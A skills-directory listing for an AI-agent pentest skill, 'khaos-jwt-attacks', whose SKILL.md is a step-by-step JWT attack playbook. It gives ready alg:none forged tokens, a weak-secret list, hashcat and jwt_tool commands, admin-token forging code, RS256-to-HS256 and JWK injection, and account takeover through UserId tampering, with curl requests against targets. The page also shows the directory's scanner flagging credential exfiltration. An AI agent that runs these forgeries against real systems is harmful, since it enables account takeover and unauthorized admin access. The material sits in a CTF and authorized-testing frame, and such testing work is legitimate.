Skip to content
Back to skills

Khaos Jwt Attacks

BSecurity

Ataque completo a JWT — descoberta de secret fraco, crack offline com hashcat, forjamento de token e Account Takeover via IDOR em claims como UserId.

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythongobashgitapisecurity

Works with

  • cli
  • api

Security analysis

B84/100
  • mediumUses curl or wget to download content
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study

Pro shows the line behind each finding and how to fix it

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-jwt-attacks --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Jwt Attacks?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Jwt Attacks
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-jwt-attacks-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-jwt-attacks-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-jwt-attacks
description: Ataque completo a JWT — descoberta de secret fraco, crack offline com hashcat, forjamento de token e Account Takeover via IDOR em claims como UserId.
metadata:
  khaos:
    tool_ids: []
    wordlist_ids: []
    stages: [recon, authentication, authorization, exploitation]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: embedded
      path: khaos-jwt-attacks/SKILL.md
      license: not-declared
      reviewed_by: Khaos maintainers
      review_note: >
        Skill baseada no writeup completo de yOnly (Medium, Sep 2026, $1,500 Critical) e
        conhecimento base de JWT attacks. Cobre a chain completa: weak secret discovery →
        hashcat crack → forjamento via JWT.io → ATO por IDOR em claim UserId. Inclui
        também alg:none bypass e RS256→HS256 confusion.
---

# JWT Attacks — Weak Secret, Forging e Account Takeover

## CTF / Benchmark Mode (get admin, get flag)

**When to use this section:** XBEN-style CTF where JWT controls access and the flag lives at an admin endpoint. Goal: forge a token with elevated claims → GET /api/admin/flag → response contains `FLAG{`.

### How XBEN JWT works
The app issues a JWT on login. Claims like `role`, `is_admin`, `user_id`, or `sub` control access. If you forge a token that makes the app think you're admin, it returns the flag. No session stealing needed — the forged token works directly.

### CTF Attack Priority Order

**Step 1 — Decode the token you have.** Split on `.`, base64url-decode each part:
```bash
# Part 1 = header: tells you the algorithm
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Part 2 = payload: tells you which claims to change
echo "<payload>" | base64 -d
```
Key claims to target: `role`, `is_admin`, `admin`, `user_id`, `sub`, `type`, `userType`

**Step 2 — Try alg:none (no secret needed, fastest):**
Craft: `base64url({"alg":"none","typ":"JWT"}) + "." + base64url({"role":"admin","user_id":1}) + "."`  
(trailing dot, empty signature)
```bash
python3 jwt_tool.py <token> -X a
```
Or manually:
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4iLCJ1c2VyX2lkIjoxfQ.
```
Send with `Authorization: Bearer <forged>` and check if the app accepts it (non-401).

**Step 3 — Try common CTF weak secrets (HS256 only):**
```bash
# Fast manual check with jwt_tool
python3 jwt_tool.py <token> -C -d /path/to/jwt.secrets.list

# Or try these one by one manually:
```
Ordered by CTF frequency:
```
secret
password
admin
1234
12345
123456
secret123
supersecret
jwt_secret
key
qwerty
changeme
test
default
mysecret
verysecret
aaa
```
If cracked, forge with `khaos_http_request` or jwt_tool — change `role` to `admin`, `user_id` to `1`.

**Step 4 — Forge admin token using known secret (HS256):**
```python
import jwt, base64
secret = "secret"
payload = {"role": "admin", "user_id": 1, "sub": "admin"}
token = jwt.encode(payload, secret, algorithm="HS256")
```
Or via jwt_tool:
```bash
python3 jwt_tool.py <original_token> -S hs256 -p "secret" -T
# -T = tamper mode: change claims interactively
```

**Step 5 — Access flag endpoint with forged token:**
Try these endpoints with your admin token:
```
GET /admin
GET /admin/flag
GET /api/admin
GET /api/admin/flag
GET /api/flag
GET /dashboard
GET /api/users/1
GET /api/secret
```
Check response for `FLAG{`.

**Step 6 — RS256→HS256 confusion** (when server uses RS256 but also accepts HS256):
```bash
# Download public key
curl https://target/.well-known/jwks.json
# Extract RSA public key → pem file
# Sign HS256 with that public key as secret
python3 jwt_tool.py <token> -X k -pk public.pem
```

**Step 7 — JKU/X5U header injection** (when server fetches key from URL in header):
```bash
python3 jwt_tool.py <token> -X s   # sign with self-signed key, injects jku header
```

### Claims to Inject (try all if first fails)
```json
{"role": "admin"}
{"role": "superadmin"}
{"is_admin": true}
{"admin": true}
{"userType": "admin"}
{"type": "admin"}
{"user_id": 1}
{"sub": "admin"}
{"scope": "admin read write"}
```

### Response Interpretation
| Response | Meaning |
|---|---|
| Contains `FLAG{` | SUCCESS |
| 200 with admin data | Token accepted — look for /admin/flag |
| 401 Unauthorized | Token rejected — try another attack vector |
| 403 Forbidden | Token parsed OK but claim wrong — adjust claim |
| 400 Bad Request | Malformed token — fix base64url padding |

---

**Stages:** recon / authentication / authorization / exploitation
**Referência:** writeup yOnly (YesWeHack, Sep 2026) — secret `"default"`, bounty Critical $1,500

> **Gate:** confirme que o alvo usa HS256 antes de tentar crack. RS256 requer chave privada — ataque diferente (ver Seção 4).

---

## Fase 1 — Descoberta de JWT e algoritmo

```bash
# Interceptar login e inspecionar resposta/cookies
# Decodificar header (Base64URL — não é cifrado):
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Saída esperada: {"alg":"HS256","typ":"JWT"}

# Identificar claims no payload
echo "<payload_base64>" | base64 -d
# Ex: {"UserId":100184,"UserType":"user"}
```

**Sinais de fraqueza imediata:**
- Burp Suite JWT extension detecta o secret automaticamente
- Payload contém claims como `UserId`, `role`, `is_admin`, `email`
- Token não muda entre sessões sem modificar payload
- Resposta sem token = mesmo resultado que com token válido (`alg: none`)

---

## Fase 2 — Crack offline do secret (HS256)

HS256 é simétrico: o secret é usado para assinar E verificar. Um secret fraco pode ser encontrado offline por força bruta.

```bash
# Hashcat mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_completo> /path/to/jwt.secrets.list

# Wordlists recomendadas:
# github.com/wallarm/jwt-secrets  (jwt.secrets.list — inclui "default", "secret", "password")
# rockyou.txt para secrets mais longos
# SecLists/Passwords/Common-Credentials/

# Exemplo de resultado:
# eyJ....<jwt>....:default
# Status: Cracked
```

**Interpretação:** o secret encontrado é a string após os dois pontos. Qualquer token pode ser forjado com ele.

**Verificação sem hashcat:**
```bash
# jwt_tool (Python)
python3 jwt_tool.py <jwt> -C -d jwt.secrets.list
```

---

## Fase 3 — Forjamento de token e escalação

### 3A — IDOR via claim (caso yOnly)

```
# No JWT.io ou jwt_tool:
# 1. Colar o JWT original
# 2. Inserir o secret descoberto no campo "Verify Signature"
# 3. Modificar payload:
#    UserId: 100184  →  100185  (ID da vítima)
# 4. Copiar o token re-assinado
# 5. Usar em qualquer endpoint autenticado

curl -s "https://target.com/api/users/me" \
  -H "Authorization: Bearer <token_forjado>" | jq .
# Resposta: dados da vítima → ATO confirmado
```

**Padrões de claims a modificar:**
| Claim | Ataque |
|---|---|
| `UserId`, `user_id`, `sub` | IDOR → ATO horizontal |
| `role`, `UserType` | Escalada vertical → admin |
| `is_admin`, `admin` | Boolean flip → true |
| `email` | Substituir por email de outro usuário |
| `scope`, `permissions` | Ampliar permissões |

### 3B — Escalada vertical (role tampering)

```json
// Payload original:
{"UserId": 100184, "role": "user"}

// Payload forjado:
{"UserId": 100184, "role": "admin"}
// ou role: "super_admin" (enumerar via JS source, swagger, error messages)
```

> **Nota do writeup:** no caso yOnly, escalada vertical falhou — a app só aceitou claims já presentes. IDOR horizontal funcionou. Sempre teste ambos.

---

## Fase 4 — Outros vetores JWT

### 4A — Algorithm Confusion: alg:none

```bash
# Remover assinatura completamente
# Header: {"alg":"none","typ":"JWT"}
# Payload: qualquer claim que quiser
# Signature: vazio (token termina em ".")

python3 jwt_tool.py <jwt> -X a   # -X a = alg:none attack
```

### 4B — RS256 → HS256 Confusion

Quando servidor aceita tanto RS256 quanto HS256:
```bash
# Baixar chave pública do servidor (geralmente em /.well-known/jwks.json ou /api/auth/keys)
curl https://target.com/.well-known/jwks.json

# Usar a chave pública como "secret" para assinar com HS256
# jwt_tool:
python3 jwt_tool.py <jwt> -X k -pk public.pem
```

### 4C — JWK Header Injection

```json
// Injetar JWK própria no header do token
{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "<sua_chave_publica>",
    "e": "AQAB"
  }
}
// Assinar com sua chave privada → servidor usa a JWK do header para verificar
```

---

## Fase 5 — Validação de impacto

Gates obrigatórios antes de `khaos_create_finding`:

```bash
# 1. Confirmar que o token forjado é aceito (não só 200, mas dados corretos)
curl -s "https://target.com/api/users/me" \
  -H "Authorization: Bearer <forjado>" | jq .email

# 2. Demonstrar acesso a dado específico do outro usuário
# 3. Testar pelo menos 2 endpoints diferentes (não só /me)
# 4. Capturar request + response completos como evidência
```

**Severidade sugerida:**
| Impacto | Severidade |
|---|---|
| ATO horizontal (user→user) | CRITICAL |
| Escalada vertical (user→admin) | CRITICAL |
| Leitura de dados de outro usuário sem ATO | HIGH |
| Weak secret sem exploração clara | MEDIUM |

---

## Findings esperados

| Finding | Evidência para khaos_create_finding |
|---|---|
| Weak JWT secret | hashcat output com secret + token original |
| JWT IDOR → ATO | Request forjado + response com dados da vítima |
| alg:none aceito | Token sem assinatura + response 200 |
| RS256→HS256 confusion | Token re-assinado com pubkey + response 200 |

---

## Referências

- Writeup original: yOnly, "My First Bug Bounty Finding Was Critical" (Medium, Sep 2026)
- Wordlist: https://github.com/wallarm/jwt-secrets
- jwt_tool: https://github.com/ticarpi/jwt_tool
- PortSwigger JWT Labs: https://portswigger.net/web-security/jwt

---

## ⛔ Prohibition table

| Proibido | Alternativa |
|---|---|
| Brute force de secret sem limite de orçamento aprovado | Usar wordlist curta (≤10k entradas) por no máximo 3 minutos |
| Persistir ou logar valores de token em produção | Registrar apenas hash do token como evidência |
| Forjar token com identidade de usuário real (não perfil de teste) | Usar apenas `sub`/`user_id` de perfis de teste configurados no assessment |
| Avançar para `khaos_create_finding` sem token aceito pelo servidor | Confirmar HTTP 200/non-401 com dados corretos antes de reportar |
| Escalar vertical além do necessário para provar impacto | Usar claim mínimo (admin=true) — não explorar sistemas de produção |

## ✓ Completion self-check

- [ ] JWT capturado de sessão legítima de perfil de teste
- [ ] Algoritmo fingerprinted e classe de ataque escolhida (HS256/RS256/none/jku)
- [ ] Token forjado aceito pelo servidor (HTTP 200 ou equivalente, não 401)
- [ ] Ação privilegiada completada com token forjado (não apenas /me)
- [ ] Apenas perfis de teste usados — sem identidades reais
- [ ] 3 reproduções com action IDs distintos
- [ ] Finding criado via `khaos_create_finding` com evidência completa

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.